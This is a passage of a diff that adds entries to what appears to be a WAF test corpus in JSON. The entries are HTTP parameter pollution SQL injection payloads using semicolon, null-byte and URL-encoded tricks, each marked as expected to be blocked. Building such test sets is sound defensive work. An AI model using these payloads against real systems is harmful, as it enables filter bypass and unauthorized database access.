66
|
+
"id": "HPP-SEMICOLON-001",
|
|
67
|
+
"payload": "id=1;id=2 OR 1=1--",
|
|
68
|
+
"category": "WAF-Bypass",
|
|
69
|
+
"expected_block": true,
|
|
70
|
+
"severity_hint": "High",
|
|
71
|
+
"tags": ["hpp", "semicolon", "sqli"],
|
|
72
|
+
"notes": "Semicolon as parameter separator (IIS)"
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"id": "HPP-NULL-001",
|
|
76
|
+
"payload": "id=1%00&id=2 OR 1=1--",
|
|
77
|
+
"category": "WAF-Bypass",
|
|
78
|
+
"expected_block": true,
|
|
79
|
+
"severity_hint": "Critical",
|
|
80
|
+
"tags": ["hpp", "null-byte", "sqli"],
|
|
81
|
+
"notes": "Null byte between duplicate parameters"
|
|
82
|
+
},
|
|
83
|
+
{
|
|
84
|
+
"id": "HPP-ENCODED-001",
|
|
85
|
+
"payload": "id=1&%69%64=' OR 1=1--",
|
|
86
|
+
"category": "WAF-Bypass",
|
|
87
|
+
"expected_block": true,
|
|
88
|
+
"severity_hint": "Critical",
|
|
89
|
+
"tags": ["hpp", "url-encoded", "sqli"],
|
|
90
|
+
"notes": "URL-encoded parameter name (id = %69%64)"
|
|
91
|
+
}
|
|
92
|
+
]
|